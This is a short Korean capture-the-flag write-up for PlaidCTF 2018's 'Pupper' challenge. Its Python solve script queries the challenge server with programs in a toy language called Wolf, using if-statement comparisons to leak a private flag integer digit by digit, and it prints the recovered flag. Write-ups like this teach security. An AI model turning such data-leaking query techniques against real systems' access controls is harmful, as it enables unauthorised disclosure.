PCTF 2018 - Pupper(Misc)

문제 파일 (pupper-linux_0d58ad5ebc84a1621d7c35d230648c6a37960777.tgz)

SML로 Wolf라는 언어의 interpreter를 만든 소스가 주어졌다. Wolf언어는 private, public의 접근제어자가 있었다. private 타입의 변수는 출력될 수 없었고 flagprivate int타입이었다.

이때, flag의 값을 알아내오는게 문제다.

그러면 그냥 flag의 값을 if문으로 비교를 하며 알아내면 됐다.

solve.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from socket import *

def get_code(x):
code = '''
let x = ({0} :> int) in
if ((flag / x) % 10 = 1) = true
then 1
else if ((flag / x) % 10 = 2) = true
then 2
else if ((flag / x) % 10 = 3) = true
then 3
else if ((flag / x) % 10 = 4) = true
then 4
else if ((flag / x) % 10 = 5) = true
then 5
else if ((flag / x) % 10 = 6) = true
then 6
else if ((flag / x) % 10 = 7) = true
then 7
else if ((flag / x) % 10 = 8) = true
then 8
else if ((flag / x) % 10 = 9) = true
then 9
else if ((flag / x) % 10 = 0) = true
then 0
else 99'''.format(x)
return code

x = 10 ** 100
flag = ''
while x > 0:
s = create_connection(('wolf.chal.pwning.xxx', 6808))
s.send(get_code(x))
s.shutdown(SHUT_WR)
result = s.recv(1024)
print result

flag += result[0]
x /= 10
print flag

print hex(int(flag))[2:-1].decode('hex')

# 155924442406448791952071508005867319320207161537917133772976476023496189191734211081085
# PCTF{0of_0uch_0wi3_my_IF_$t4t3m3n7s}
Share